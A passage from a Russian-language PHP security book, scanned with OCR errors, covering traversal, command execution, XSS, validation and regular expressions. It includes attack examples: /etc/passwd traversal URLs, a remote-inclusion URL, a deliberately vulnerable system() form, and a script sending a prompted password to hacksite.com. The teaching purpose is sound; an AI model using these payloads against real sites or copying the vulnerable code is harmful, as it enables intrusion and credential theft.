нить любое изменение и вернуться к любому состоянию. 

Идем далее. Во время предварительного анализа хакер ищет все формы, которые 
принимают данные от посетителя, и передает их серверу. Передача параметров все
гда опасна. Собрав эти сведения, хакер впоследствии будет тестировать передачу 
параметров в надежде, что хотя бы один сценарий не проверяет вводимые пользо
вателем данные на наличие опасных символов. 

Идеальным для хакера вариантом будет возможность увидеть сообщение о непра
вильном доступе к данным и ошибке SQL-зanpoca, при этом на экране может 
отображаться сам SQL-зanpoc. Если взломщик увидит его, то объем информации 
в руках злоумышленника и ее важность существенно возрастут. 

Очень важную и полезную информацию могут дать ему исходные коды страниц 
сайта. Сами программы на языке РНР невозможно увидеть, потому что они выпол
няются на сервере, а клиенту передается только НТМL-код, но и здесь можно кое
что найти. Отметим элементы программы, которым на рассматриваемом этапе 
взломщики уделяют больше всего внимания: 

□ комментарии - могут содержать интересную информацию о коде или о назна
чении параметров. А вдруг кто-то прокомментировал что-то важное? Бывали
такие случаи;

□ скрытые формы и параметры - могут передаваться с параметрами GET или

юsт·и содержать очень важную информацию.
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Когда хакером собран максимально возможный объем информации, он начинает 
проверку сценариев на корректность обработки входных данных. Для этого во всех 
параметрах может передаваться «мусор», состоящий из таких символов, как тире, 
подчеркивание, точка с запятой, слеш, обратный слеш и т. п. Многие из этих сим
волов в некоторых случаях являются зарезервированными - например, при откры
тии файлов или при работе с базами данных. Если на какой-то из символов опреде
ленный сценарий выдал сообщение об ошибке, то в таком сообщении, скорее всего, 
содержится строка кода, в которой произошла ошибка, и имя функции или SQL
зaпpoc. Эго говорит о том, что какой-то символ обрабатывается неверно, и даль
нейшее пронищювение на сервер продолжается уже в зависимости от того, где 
произошла ошибка. Наиболее критичными являются: 

□ функции обращения к системе - такие как system (), ехес () и т. п. Если при об
ращении к этим функциям не происходит проверка на специальные символы, то
хакер будет пытаться выполнить системные команды, - например, 1s для про
смотра текущего каталога в ОС UNIX. И если при этом права у веб-сервера дос
таточны д.J):Я выполнения важных команд, то можно считать, что хакер добился
поставленной цели;

□ функции работы с файлами - такие как include (), readfile () и т. п. С их по
мощью хакер может попытаться прочитать конфигурационные файлы - напри
мер, файл со списком пользователей /etc/passwd, а лучше /etc/shadow, где в UNIХ
подобных системах хранятся зашифрованные пароли. Да, пароли зашифрованы,
но подобрать их вполне реально;

□ SQL-запросы, с помощью которых хакер может нарушить целостность базы
данных, удалить или изменить важные данные или получить доступ к конфи
денциальной информации - например, к таблице паролей.

Основная уязвимость сценариев - это отсуrствие проверки корректности парамет
ров и данных, получаемых от посетителя, и этой теме мы будем уделять очень мно
го внимания. У системных функций вы обязаны удалять из параметров слеши, об
ратные слеши и точки с запятой. А лучше вообще не передавать системным функ
циям параметры, которые получены напрямую от пользователя. 

3.4. Основы защиты сценариев 
Защита сценария должна быть многоуровневой. Нет такого метода, который защи
тил бы вашу систему и был бы лучшим. В случае с безопасностью все методы хо
роши. Яркий пример из жизни - в давние времена вокруг городов строили высо
кие стены, которые позволяли защитить жителей от набегов. Но этого мало. Одну 
только стену можно проломить, если атакующих будет в 100 раз больше, чем обо
роняющихся. Но если: 

□ перед стенами выкопать глубокий ров;

□ в ров залить воды и напустить крокодилов;

□ перед ним выкопать еще один ров и накрыть его листьями;
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□ на стенах повесить колючую проволоку и установить копья, которые не позво-
лят приставлять к стене лестницы,

то такую крепость можно будет защитить армией в 1 ООО человек даже от миллиона 
нападающих. Чем больше уровней защиты, тем сложнее ее обойти, в том числе и 
в компьютерном мире. Большинство непрофессиональных воинов не пойдут на 
хорошо защищенную крепость, опасаясь погибнуть. 

Э. 4 .1. Реальный пример ошибки 

Однажды я наткнулся на один сайт (не будем уточнять его название), на котором 
защита бьmа далека от идеала. Любой хакер, увидев, как формируется интернет
адрес (URL) этого сайта, сразу начнет копать глубже и сможет получить права дос
тупа к его системе. 

В рассматриваемых примерах имя сервера заменено на sitename.domain. Я отпра
вил разработчикам письмо с описанием ошибки, но мне не хоч�ся, чтобы моя кни
га стала причиной испорченной репутации сайта, хотя. он был не такой уж и круп
ный. 

Итак, адрес на сайте формировался следующим образом: 

http://www.sitename.domain/index.php?dir=кamш,oг&file=фaйл 

В параметре dir передается имя каталога, из которого нужно прочитать файл, а че
рез параметр file - имя файла. Мне сразу же стало интересно, что получится, если 
в качестве имени файла передать что-нибудь вроде /etc/passwd (файл, в котором 
UNIX-cepвepы хранят списки пользователей). В ответ я получил сообщение: И кто 
тебя просил это делать? Очень хорошо. 

Тогда я вместо имени файла поставил просто точку, что в UNIX-cepвepax указыва
ет на текущий каталог. На этот раз я увидел в окне браузера список файлов катало
га, указанного в качестве параметра ctir. Видимо, разработчики использовали 
фильтр, который запрещал передавать в качестве параметра знаки /, но одиночная 
точка не проверялась. Нельзя запретить точку вообще - ведь имена файлов очень 
часто содержат точку для отделения имени файла от расширения. 

Но это еще не все. Я попытался выполнить следующий запрос к серверу: 

http://www.sitename.domain/index.php?dir=/etc&file=passwd 

Результат превзошел все ожидания. Мало того, что я увидел содержимое файла, так 
еще в заголовке оказалась информация об установленном сервере (рис. 3.1). 

Множество примеров поиска уязвимостей приведено в моей книге «WеЬ-сервер 
глазами хакера» [2]. Эта книга будет очень полезна в качестве дополнительного 
материала по безопасности сайтов. 

Приведу необходимый минимум действий, которые должны выполнить програм
мисты для защиты сайта: 

□ в параметре dir проверять наличие слеша и точки. Тогда в качестве каталога
будет разрешено указывать только имя в текущем каталоге, т. е. нельзя будет
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указывать пути - например, /etc. А лучше вообще не передавать каталог через 
URL; 

□ запретить точку - тогда взломщик не сможет просмотреть даже текущий ката
лог. Если. вы собираетесь хранить какие-то текстовые данные сайта в файлах, то
не обязательно такие файлы называть about.txt. Расширение не нужно- лучше
назвать файл просто about. Тогда легко запретить точку и проще защищаться.

Рис. 3.1. Результат просмотра файла паролей. 
В заголовке отображается информация об операционной системе сервера 

Если бьi я писал сценарий, то в параметре file передавал бы только имя файла без 
расширения, а расширение подставлял бы программно. Для этого нужно, чтобы все 
подключаемые файлы имели одно расширение. Я бы для него выбрал что-нибудь 
нереальное - например, fdfgdg, и дал бы такое расширение всем подключаемым 
файлам. 

Каталог лучше не передавать, но если прям очень необходимо, то на сервере можно 
создать четкий список допустимых каталогов, и если посетитель попробует пере
дать что-то другое, то показывать ошибку. 
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Допустим, взломщик хочет просмотреть файл паролей. Для этого он выполняет за
прос: 

http://www.sitename.domain/index.php?dir=/etc&file=passwd 

Проверка параметра dir должна вернуть ошибку, потому что /etc никогда не будет 
в списке разрешений. 

Сценарий делает основные проверки и программно добавляет расширение fdfgdg. 
Даже если в параметре dir нет проверки, в результате получается: /etc/passwd.fdfgdg. 
Конечно же, такого файла не существует в системе, и сценарий выдаст сообщение 
об ошибке. 

Прибавление расширения еще не гарантирует безопасность, потому что эту про
блему легко обойти. Допустим, что у вас в качестве параметра передается имя фай
ла, а в качестве расширения программно добавляется news.php. Это не случайный 
пример, я видел такое в реальном приложении. Тогда чтобы обойти защиту, хакеру 
нужно выполнить следующие шаги: 

□ создать на своем сервере злонамеренный файл с любым именем и расширением
news.php - например, http://hacker_site/hack.news.php;

□ передать этот файл в качестве параметра:

http://www.sitename.domain/index. php ?file=http:/ /hacker _site/hack

При этом ваш сценарий выполнит содержимое файла http://hacker_site/hack.news.php, 
если файл подключается с помощью функции include () или require (). 

Хотя защиту с программным добавлением расширения можно обойти, ряд простых 
проверок и защитных мер сделают ваш дом крепостью. Если помимо программного 
добавления расширения сделать проверку на символ /, то хакер уже не сможет 
провести такую атаку. В качестве дополнения к защите необходимо программно 
добавлять и начало пути, а все подключаемые файлы сложить в один каталог. На
пример, подключаемые файлы лежат на сервере в каталоге /var/www/html/inc и имеют 
расширение dat. В этом случае формирование файла должно выглядеть так: 
/var/www/htm1Лnc/$file.dat. 

Здесь подразумевается, что переменная $file содержит имя подключаемого файла 
без расширения. Но и тут есть одна тонкость. Допустим, что хакеру удалось каким
либо образом загрузить свой файл сценария под именем hackfile на сервер - напри
мер, в общедоступный каталог /tmp. Чтобы подключить этот файл, хакеру доста
точно дать ему расширение dat (hackfile.dat) и в качестве параметра $file передать 
путь .. / . ./..1../../tmp/hackfile. Мораль - никогда не забывайте фильтровать параметры, 
используемые при формировании имени файла, на последовательность символов . ./. 

Судя по всему, от параметра dir и в таком виде можно отказаться и передавать 
только имя файла. Но даже если это не так, необходимо собрать все подключаемые 
файлы в один каталог, и тогда уж точно надобность в этом параметре отпадет. 

Как много нюансов при работе с файлами - неужели создатели РНР не могли пре
дусмотреть хотя бы половину из этих проблем? Работа с файловой системой всегда 
опасна, и предусмотреть все невозможно, поэтому приходится выбирать между 
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мощью и безопасностью. Разработчики РНР предоставили нам мощь и гибкость, а 
мы должны правильно воспользоваться этими возможностями. 

И все же, несмотря на возможность защититься от указания запрещенных файлов, 
я рекомендую никогда не передавать имена файлов в виде параметров. Через пара
метры нельзя передавать ничего, что связано с файловой системой, файлами и тем 
более с программами. 

З. 4. 2. Рекомендации по защите 

Если вы используете в своих сценариях обращения к файловой системе, то указы
вайте путь относительно корня файловой системы или относительно текущего ка
талога, но при этом желательно не подниматься на уровни выше. Например, если 
выполняемый сценарий находится в каталоге /var/www/html/admin, а надо обратиться 
к файлу index.php из каталога /var/www/html/, нельзя писать относительный путь как 
. ./index.php. Использование последовательностей . ./ или ./ должно быть запрещено, 
если посетитель вашего сайта может влиять на путь файла. Будьте осторожны при 
формировании путей к файлам! 

В рассматриваемом случае не имеются в виду пути, жестко прописанные в файлах 
сценариев и не изменяющиеся во время выполнения. Мы говорим о тех случаях, 
когда расположение файла изменяемо и зависит от действий или параметров, пере
даваемых посетителем. 

В разд. 3.5 мы подробно обсудим, как нужно проверять корректность вводимых 
посетителем данных. Однако вы должны помнить, что опасны не только посетите
ли, но и программисты. Ярким примером этого является возможность указания от
носительных имен, о которой мы только что говорили. 

Сконфигурируйте интерпретатор РНР так, чтобы он мог выполнять только необхо
димые вам функции. Например,· если вы не используете функцию system (), то ее 
следует запретить. В этом случае, даже если хакеру удастся закачать на ваш сервер 
собственный сценарий, он не сможет воспользоваться этой опасной функцией. 

С функцией system () вообще нужно обращаться аккуратно, потому что она позво
ляет выполнять в системе команду, указанную в качестве параметра. Создадим 
сценарий, в котором есть форма для ввода команды и указанная команда передает
ся функции system () :

<form action="syst.php" method="get"> 

command: <input name="suЬ_com"> 

<br><iчput type="suЬmit" value="run"> 

</form> 

<pre> 

<?php 

print ("<b>$_GET [ 'suЬ_com'] </Ь>"); 

system($_GET [ 'suЬ_com']); 

?> 

</pre> 
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Укажите в поле ввода какую-нибудь команду вашей ОС. Если ваш веб-сервер рабо
тает под управлением ОС Linux, то для тестирования можно ввести: 

cat /etc/passwd 

В результате на экране появится файл, содержащий список пользователей системы. 
Можно указать любую другую команду, и она будет выполняться с теми правами, 
которые предоставлены веб-серверу. Если прав у сервера достаточно, то команда 
будет выполнена. Понятное дело, что такого допустить нельзя. Я вообще не реко

мендую использовать функцию systern (), и лучше ее совсем запретить. Ищите дру
гие варианты решения своих задач. 

Еще одна опасная функция - ехес (). Она также выполняет команду, но не выводит 
ничего на экран, а только возвращает в качестве результата последнюю строку вы
полнения команды. Это значит, что если запросить файл паролей, то результатом 
будет запись с информацией о последнем пользователе, зарегистрированном в сис
теме. Следующий пример показывает, как отобразить на странице результат вы
полнения функции: 

print (ехес ($_GET [ 'suЬ_corn'])); 

Функция passthru (), так же как и systern (), выполняет указанную команду и выво

дит на экран результат. Разница заключается в том, что passthru () умеет работать и 
с двоичными данными. 

Еще одна функция, которая может выполнять команды в системе: shell _ ехес (). 

Она выполняет команду и возвращает результат: 

print ( shell_ ехес ( $ _ GET [ 'suЬ _ corn' ] ) ) ; 

Выполнять команды можно и без каких-либо функций. Для этого команда должна 

быть заключена в обратные апострофы ( - ). Это не одинарная кавычка, а именно 
обратный апостроф - на клавиатуре он находится на клавише левее цифры 1. 

Следующий пример выполняет в системе команду 1s -al и выводит результат на 
экран: 

print('ls - al'); 

О том, как запрещать функции, мы поговорим в разд. 3.4.3.

3.4.З. Тюнинг РНР 

В этом разделе представлены конфигурационные параметры РНР, которые могут 
повысить безопасность сервера и ваших сценариев. Рассматриваемые здесь дирек
тивы содержатся в файле конфигурации php.ini, который в ОС Linux можно найти 
в каталоге /etc. 

С помощью директивы disaЫe _ functions можно запретить выполнение определен
ных функций. Я настоятельно рекомендую запретить функции выполнения команд 

ОС: systern (), ехес (), passthru (), shell _ ехес (), popen () - которь1е вы не исполь
зуете. 
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РНР-сценарии позволяют открывать файлы на удаленном компьютере (через FТР
или НТТР-соединение). Если директива allow_url_open включена (on), эта возмож
ность доступна. Если вы не используете удаленные компьютеры, то следует уста
новить для директивы allow_url_open значение off. 

Работа с файлами всегда опасна. Если в вашем сценарии используется функция 
fopen () и хакер смог передать ей файл /etc/passwd, то список пользователей системы 
становится общедоступным. Чтобы обезопасить себя от такой ошибки, в директиве 
open_basedir конфигурационного файла php.ini нужно записать через двоеточие раз
решенные для открытия пути. 

З. 5. Проверка корректности данных 
Где и когда нужно производить проверку корректности данных? На оба вопроса 
можно ответить одинаково: 

□ в НТМL-форме на этапе ввода с помощью JavaScript;

□ в сценарии, который принимает данные с помощью РНР, т. е. на сервере.

Неужели это нужно делать дважды? Хотя проверки с помощью JavaScript не обяза
тельны, но они все же желательны, потому что обладают рядом очень полезных 
преимуществ. Ну а в РНР-коде уже без вопросов проверяться должно абсолютно 
все, что поступает из внешних источников, и тут имеются в виду не только пара
метры, которые передает пользователь, но и то, что посылает сам браузер ( служеб
ная информация). Конечно же, не нужно проверять абсолютно все, что приходит на 
вход, а только то, что вы используете. Если вы не используете параметр userAgent 
в запросах, то и не проверяйте этот параметр. 

Рассмотрим каждый из вариантов более подробно, чтобы увидеть их преимущества 
и недостатки. 

Сценарии JavaScript выполняются на компьютере клиента, что определяет и пре
имущества, и недостатки. 

К преимуществам относятся: 

□ экономия трафика - данные из формы не нужно отправлять на сервер, чтобы
они прошли проверку на корректность. Проверка происходит на самом клиенте
с использованием ресурсов компьютера клиента;

□ экономия времени - проверка происходит сразу же, без задержки на передачу
инфqрмации между клиентом и сервером;

□ экономия ресурсов сервера - проверкой занят клиентский компьютер, а не сер-
вер.

Недостатков два, но второй из них очень существенный. И если в качестве первого 
недостатка можно отметить лишь то, что возможности JavaScript намного ниже 
языка РНР, то второй недостаток заключается в том, что проверка происходит на 
стороне клиента и хакер может ее отключить. Самый простой способ для этого 
в наши дни - использовать панель разработки в браузере, где можно изменять 
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любые элементы страницы. Хороший специалист может сформировать запрос и без 
браузера, но это уже точно выходит за рамки книги по РНР. 

С этим самым большим и существенным недостатком JavaScript бороться невоз

можно, и хотя JavaScript можно использовать для получения определенных пре

имуществ, нельзя ориентироваться только на JavaScript - нужно обязательно про

изводить дополнительные проверки на сервере. 

РНР-код принципиально отличается от сценариев JavaScript и обладает следующи

ми свойствами: 

□ каждый раз для проверки данных происходит передача их на сервер и переза

грузка страницы (или формы, если она реализована в отдельном фрейме или
с помощью AJAX);

□ результат появляется с задержкой, потому что необходимо время на передачу

данных на сервер, обработку и возврат результата;

□ для каждой проверки расходуются ресурсы сервера;

□ посетитель не может увидеть код проверок и тем более повлиять на их ход;

□ возможности проверок РНР достаточно велики, и трудно представить себе зада

чу, которую не удалось бы реализовать на РНР. Можно проверять данные отно
сительно базы данных или больших наборов данных.

Первые три пункта можно отнести к недостаткам, но это мелочи жизни по сравне

нию с двумя последними пунктами, где отмечены преимущества. 

Чтобы добиться наилучшего результата в собственном проекте, необходимо соз

дать защитный гибрид, который объединит в себе все лучшее от обоих способов. 
Я рекомендую проводить необходимые и возможные (которые позволит JavaScript) 

проверки на стороне клиента, чтобы экономить трафик и воспользоваться преиму
ществами JavaScript. Но при этом надо те же проверки выполнять и на РНР, на сто

роне сервера. Таким образом, одни и те же данные будут проверяться дважды: на 

клиенте и на сервере. Если хакер сможет обойти защиту JavaScript, то его данные 
не пройдут проверки на сервере, и все затраты на корректирование исходного кода 

страницы окажутся напрасными. 

Единственный недостаток такого метода - сложность сопровождения. Если нужно 

внести изменения в правила, по которым определяется корректность данных, то 
приходится изменять JavaScript- и РНР-сценарии одновременно, что влечет лишние 

расходы. Если это для вас неприемлемо, можете отказаться от JavaScript и проверок 
на стороне клиента (или сделать их максимально простыми) и уделить основное 
внимание защите на стороне сервера. 

Использование JavaScript выходит за рамки этой книги, поэтому поговорим только 

о проверках с помощью РНР. 

Допустим, что у нас есть форма, в поля которой посетитель вводит данные, кото

рые должны отображаться на форме. Такие поля очень часто бывают в гостевых 
книгах, на форумах или в чатах. Предположим, мы не выполняем никаких прове-
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рок, а просто выводим на страницу строку, введенную посетителем. Например, 
создайте файл сценария submit1 .php со следующим содержимым: 

<form action ="submitl.php" method="get"> 
Имя посетителя: <input name ="UserName" /> 
<input type ="hidden" name ="Password" value ="qwerty" /> 
<input type ="suЬmit" name ="suЬ" value ="Go" /> 

</form> 
<?php 

рrint("Здравствуйте, " 
?> 

$_GET [ 'UserName']); 

На экране будет отображена форма для ввода имени посетителя, которое передает
ся этому же файлу сценария. Получив имя, программа просто выводит его на экран. 
А теперь представим, что посетитель ввел вместо имени текст: <b>text<b> . На экра
не будет отображено приветствие, а вместо имени будет выведено жирным шриф
том слово text. Таким образом, передавая НТМL-теги или, еще хуже, команды 
JavaScript, хакер может как минимум испортить внешний вид сайта или даже дойти 
до взлома. 

Для защиты от передачи НТМL-тегов достаточно использовать функцию 
htmlspecialchars (). Если ей передать строку, то на выходе получится та же строка, 
но в которой символы< и> заменены последовательностями &lt; и &gt; соответст
венно. В результате текст <b>text<b> на странице будет выведен просто как 
<b>text<b>, а не сообщение text жирным шрифтом. Итак, код вывода пользователь
ских данных может выглядеть следующим образом:

$clearvar = htmlspecialchars($_GET['UserName']); 
print ( "$clearvar") ; 

Усложним задачу- попробуем удалить из сообщения тег <script> . В одном из 
движков непрофессионального сайта я заметил проверку, которая искала текст 

<script> и заменяла его пустой строкой. Вроде бы никакой ошибки, но что, если 
хакер передаст сценарию тег в виде < script > ?  Этого проверка уже не заметит из
за наличия пробелов, а значит, хакер сможет внедрить в сценарий свой код. Можно 
попытаться сначала убрать все пробелы, но и в этом случае проверку легко обойти, 
передав в качестве параметра строку: 

<script language ="jscript"> код </script> 

Даже самый строгий шаблон можно обойти, если совершить ошибку или не учесть 
какую-�;о мелочь, а простую замену всех символов < на последовательность &lt; 
и символов < на последовательность &gt; обойти невозможно! По крайней мере, 
я не знаю, как обойти этот вариант защиты. 

Несмотря на то что сценарии JavaScript выполняются на стороне клиента, они мо
гут быть очень опасными и для сервера. Как? Рассмотрим пример. Допустим, что 
у вас есть сайт, на котором посетители регистрируются, чтобы получить доступ 
к определенным возможностям. Так, на форуме регистрация требуется, чтобы 
оставлять свои сообщения, а на почтовом сервере - для доступа к электронному 
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почтовому ящику из браузера. Предположим, что хакер может встроить в веб
страницу следующий JavaScript-кoд: 

<script> 

var pass=prompt('пoвтopнo введите ваш пароль', ''); 

locatioп. href="http://hacksite.com/pass .php?pass="+password;, 

</script> 

Этот код отображает на экране сообщение с просьбой ввести пароль, а затем вве
денные данные направляются сценарию http://hacksite.com/pass.php. Таким способом 
хакер сможет собрать пароли доверчивых посетителей и использовать их для даль
нейшего взлома сервера. 

Но не только активный код (Java, JavaScript и т. п.) может быть опасным. Допус

тим, что хакер смог встроить в веб-страницу тег <а> (создание ссылки). В этом 
случае он может добавить на страницу ссьmку: 

<а href="http://hacksite.com/register.php"> регистрация <а> 

Такая ссылка перебрасывает нас на сценарий register.php на сервере hacksite.com.

Хакер может оформить страницу этого сценария в том же дизайне, что и взламы
ваемый сервер. Так что, перейдя по ссылке, доверчивый посетитель ничего не за
подозрит и введет в форму все запрошенные данные - например, информацию 
о кредитной карте. Большинство из нас не смотрит в строку URL при переходе по 
ссылкам и не заметит подвох. 

Вариантов использования встраиваемых ссылок очень много, и привести их все 
здесь невозможно, да и книга эта совсем о другом. У хакеров достаточно развитое 
воображение, и они найдут способ выманить необходимую информацию, а если 
сайт большой, то администраторы не сразу заметят ложную ссылку. 

Создание точной копии сайта жертвы на хакерском сервере - вполне эффектив
ный метод взлома. Достаточно разослать посетителям сообщения с новостью об 
обновлении содержимого сайта и пригласить их на сайт, дав ссылку на хакерскую 
копию, и многие посетители поверят. Ловкие хакеры умеют убеждать, и результат 
зависит от их опыта и способностей, а администраторам приходится только наблю
дать, потому что тут уже защититься невозможно, - сценарии находятся на других 
серверах и неподвластны им. Ваша задача- сделать хотя бы так, чтобы хакер не 
смог встроить ссылку на свой сценарий с вашего сайта. 

Более мощным и интеллектуальным средством замены являются регулярные выра
жения, которые мы будем рассматривать в разд. 3. 6. 

Очень редко можно встретить сайт, на котором было бы только одно поле ввода 
для одного параметра. Везде и всегда писать один и тот же код проверки данных 
неудобно и неэффективно, поэтому следует один раз написать проверочную функ
цию и вызывать ее для всех принимаемых параметров. Точнее сказать, в реальных 
условиях придется написать несколько функций, которые могут быть разделены по 
уровням критичности. Например: 

l. Первый уровень - самый жесткий. На нем запрещены все опасные символы
и разрешены только буквы и знаки препинания (точка и запятая). В случае по-
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явления запрещенного символа будет вызываться функция die (), и работа сце
нария прервется. 

2. Второй уровень - более демократичный, он явно запрещает только опасные
символы и теги. При этом могут быть разрешены безопасные теги, такие как <i>,

<Ь> и т. п. Впрочем, будет лучше, если пользователи станут употреблять замени
тели и, например, [iJ будет программно заменяться на <i>, [bJ - на <Ь> и т. д.
В таком случае, если появится запрещенный символ (который вы не посчитали
возможным запретить), будет выдано сообщение об ошибке, и работа сценария
прервется.

3. Третий уровень похож на второй, но без сообщений об ошибках. Работа сцена
рия будет продолжена в любом случае, а опасные символы будут вырезаны или
заменены безопасными аналогами.

4. Разрешены все символы. Зачем нужен такой уровень? Если вы уверены, что па
раметр не будет передаваться системе посетителями сайта, а только администра
торами, то можно разрешить все символы. У администраторов часто должна
быть возможность вставлять НТМL-код на страницы сайта, но тут нужно быть
уверенным, что только администраторы могут пользоваться этой функцией.

При фильтрации данных очень важно понимать, что именно мы фильтруем. В раз
личных случаях опасными могут оказаться разные символы. Например, если дан
ные, введенные посетителем, будут передаваться функции работы с базой данных, 
то возникает опасность передачи одинарных кавычек. Если же параметры будут 
выводиться на странице сайта, то здесь появляется угроза отображения управляю
щих символов НТМL. 

Давайте рассмотрим пример последнего уровня. Ярким претендентом на подобную 
проверку является поле для ввода пароля. Чтобы пароль был сложным, все специа
листы (и я их поддерживаю) рекомендуют включать в него не только числа и бук
вы, но и символы. Пароли редко используются в системных функциях, поэтому 
здесь желательно вообще ничего не фильтровать. 

Если какой-то сайт фильтрует специальные символы у паролей, то, возможно, он 
хранит пароли в чистом виде, что является проблемой совершенно другого класса. 
Все пароли во время хранения должны быть зашифрованы и лучше всего с по
мощью хеш-функций, которые не содержат никаких опасных символов. 

Второй и третий уровень у нас получились весьма демократичными, и они являют
ся потенциальной проблемой с точки зрения безопасности. Чтобы проблема не пре
вратилась в катастрофу, необходимо отслеживать все современные методы атак и 
заранее модифицировать код. 

Я люблю использовать третий уровень критичности для проверки идентификторов 
статей. Например, в URL: www.flenov.info/Ыog.php?id=lO параметр id будет про
веряться простой очисткой всего, что не является числом. Если же хакер попытает
ся передать sdf56dfw, то после очистки всех символов, которые не являются числа
ми, останется 56. Я не буду прерывать работу сценария, а просто попытаюсь найти 
статью под номером 56, и если она найдена, то хорошо - покажу ее, если нет, то 
покажу страницу 404. 
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При попытках сохранить комментарии на сайте я проверяю их фунцией второго 
уровня критичности - если что-то в запросе мне не нравится, то сохранения ком
ментария не будет. 

Используйте свои функции для всех параметров, которые вы получаете от посети
телей, и даже там, где вы уверены, что ничего опасного не может произойти. Сего
дня опасности нет, а завтра вы модифицируете код программы так, что для взлом
щика откроются ворота с надписью «Добро пожаловать». Сколько раз приходилось 
видеть сообщения о том, что уязвимость появилась в версии 2.0, а в версии 1.0 ее 
не было, хотя функциональность этой части кода не менялась, а только добавилась 
одна безобидная строка, позволившая разрушить крепость. 

С помощью универсальных функций анализа корректности параметров удобно 
выполнять общие проверки. Да, они наиболее эффективны, но не забьJВайте, что 
существует множество различных атак, и от всех не защитишься универсальными 
функциями. Если есть возможность произвести более точную проверку, то ее необ
ходимо сделать. 

Допустим, у вас есть поле ввода для указания даты рождения. Вполне логично бу
дет произвести над переменной, хранящей дату, следующие проверки (помимо 
проверки на недопустимые символы): 

□ число должно быть не больше 31;

□ месяц должен быть не больше 12;

□ год должен быть больше 1940 (не думаю, что у вас будут посетители старше
80 лет) и меньше, чем текущая дата. Если дата рождения касается посетителя
сайта, то можно проверять, чтобы год был меньше текущей даты минус 2 года,
потому что годовалый ребенок также не будет вашим посетителем.

3.6. Регулярные выражения 

Регулярные выражения (regular expressions)- это достаточно сложная, но инте
ресная функциональная возможность, которая позволяет выполнить основные и 
самые необходимые проверки переменных или произвести манипуляции над стро
ками. Регулярные выражения представляют собой шаблоны и призваны проверить, 
соответствует ли им строка. Совместно с проверкой может осуществляться выбор
ка или замена найденной подстроки. 

Язык РНР поддерживает два типа регулярных выражений: стандартные POSIX и 
Perl. Функции для работы с такими выражениями используются разные, и мы рас
смотрим оба варианта создания и применения регулярных выражений. Какой вы
берете вы, зависит от личных предпочтений. 

Тот факт, что РНР поддерживает два типа шаблонов, является неоспоримым пре
имуществом, потому что это превращает его в очень мощный инструмент обеспе
чения безопасности, а безопасность не бывает чрезмерной. Некоторые языки вооб
ще не имеют такой возможности, и ее приходится реализовывать самостоятельно 
с помощью функций для манипуляций над строками. В этом случае возрастает 
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вероятность ошибки в реализации проверок, которой хакер непременно воспользу
ется. 

3. 6 .1. lункции регулярных выражений РНР

Давайте сначала рассмотрим функции, которые могут использоваться совместно 
с регулярными выражениями, а затем уже перейдем к практике. Простq нет смысла 
учиться строить выражения, не зная, как их можно использовать. 

Функция ereg() 

Функция ereg (} ищет в строке соответствие регулярному выражению. В общем 
виде она выглядит следующим образом: 

int ereg ( 
string pattern, 
string string 
[, array regs] } 

У функции три параметра, и первые два из них являются обязательными: 

□ pattern-peryляpнoe выражение;

□ string-cтpoкa, в которой происходит поиск;

□ regs - переменная, в которую будет помещен массив найденных значений.
Если регулярное выражение разбито на части с помощью круглых скобок, то
строка разбивается в соответствии с регулярным выражением и помещается
в массив. Нулевой элемент массива - копия строки.

lункция eregi() 

Функция eregi (} идентична ereg (}, но при поиске нечувствительна к регистру 
букв. Параметры у обеих функций одинаковы. 

Функция ereg_rep/ace() 

Эта функция ищет в строке регулярное в_ыражение и заменяет его новым значе
нием: 

int ereg_replace( 
string,pattern, 
string replacernent, 
string string) 

Параметры функции: 

□ pattern- регулярное выражение;

□ replacernent -новое значение;

□ string -строка, в которой происходит поиск.
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lункция eregLreplace{) 

Функция eregi _ replace () идентиqна ereg_ replace (), но игнорирует регистр. Пара
метры у обеих функций одинаковы. 

Функция split{) 

Функция spli t () разбивает строку в соответствии с регулярным выражением и воз
вращает массив строк. В общем виде она выглядит так: 

array spli t ( · 

string pattern, 

string string 

[, int limit] ) 

Параметры функции: 

□ pattern - регулярное выражение;

□ string- строка, в которой происходит поиск;

□ limi t - ограничение количества найденных значений.

lункция split1{) 

Функция spl i t i ( ) идентична spl i t () , но нечувствительна к регистру букв во время 
поиска регулярного выражения. 

3. 6. 2. Использование регулярных выражений РНР

Рассмотрим простейший пример, в котором символы "ВI" в строке заменяются 
НТМL-тегами <B><I>: 

$text= "BI Hello world from РНР"; 

$newtext = eregi_replace("BI", "<B><I>", $text); 

echo ( $newtext) ; 

В виде регулярного выражения может выступать классическая подстрока, которую 
нужно найти. 

Усложним задачу. Допустим, что нам нужно найти подстроку "ВI" или "IB". Для 
этого можно разделить искомые подстроки символом вертикальной черты: 

$text= "BI Hello world from РНР"; 

$newtext = eregi_replace("BIIIB", "<B><I>", $text); 

. echo ( $newtext) ; 

Вертикальная черта выступает в роли логического ИЛИ, и функция ищет любое из 
значений слева или справа от черты. Таким способом можно разделить несколько 
значений, например: 

$text= "BI IB IBB Hello world from РНР"; 

$newtext = eregi_replace("BIIIBIIBB", "replaced", $text); 

echo($newtext); 
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Для указания определенных символов следует использовать квадратные скобки. 
Например, вы хотите найти любые числа от О до 9. Лучшим вариантом будет сле
дующее регулярное выражение: (0123456789]. 

А если нужны все буквы? Не будем же мы приводить их все в квадратных скобках. 
Конечно, нет. Достаточно указать первый символ и, через тире, последний. Такая 
запись будет соответствовать записи «от и до». Например, чтобы регулярное выра
жение соответствовало любой цифре, можно написать [0-9], а чтобы оно соответ
ствовало любому символу латинского алфавита, следует написать [a-z]. Но по
следнее выражение определяет только строчные буквы. Чтобы включить в него еще 
и заглавные, напишем [a-zA-ZJ. 

В квадратных скобках мы указываем необходимые символы или диапазоны, а мож
но и то и другое одновременно. Например, следующее выражение ищет любую бу
кву латинского алфавита, цифру или символы подчеркивания, тире и пробела: 

[0-9a-zA-Z-_ 

В некоторых ситуациях проще указать, что разрешено, чем указывать то, что за
прещено. В этом случае перед последовательностью символов ставим л. Например, 
выражение [ЛFJJ разрешает все буквы, кроме F и J. 

Следующий код заменяет любые цифры буквой Х: 

$text= "99fl7s87"; 
$newtext = ereg_replace("[0-9]", "Х", $text); 
echo ($newtext); 

В результате строка 99fl 7s87 превратится в xxfxxsxx. 

Рассмотрим еще пример. Допустим, что нужно заменить на "ХХ" только две после
довательно стоящие цифры, если эти цифры образуют число менее 50. Для этого 
необходимо использовать шаблон: [О-4] [О-9]: 

$text= "99fl7s87"; 
$newtext = ereg_ replace (" [ 0-4] [ 0-9] ", "ХХ", $text) ; 

Каждая квадратная скобка здесь описывает один символ. Первой скобке соответст
вует любая цифра от О до 4, а второй- цифра от О до 9. Таким образом, мини
мальное число, соответствующее шаблону, будет 00, а максимальное- 49. В на
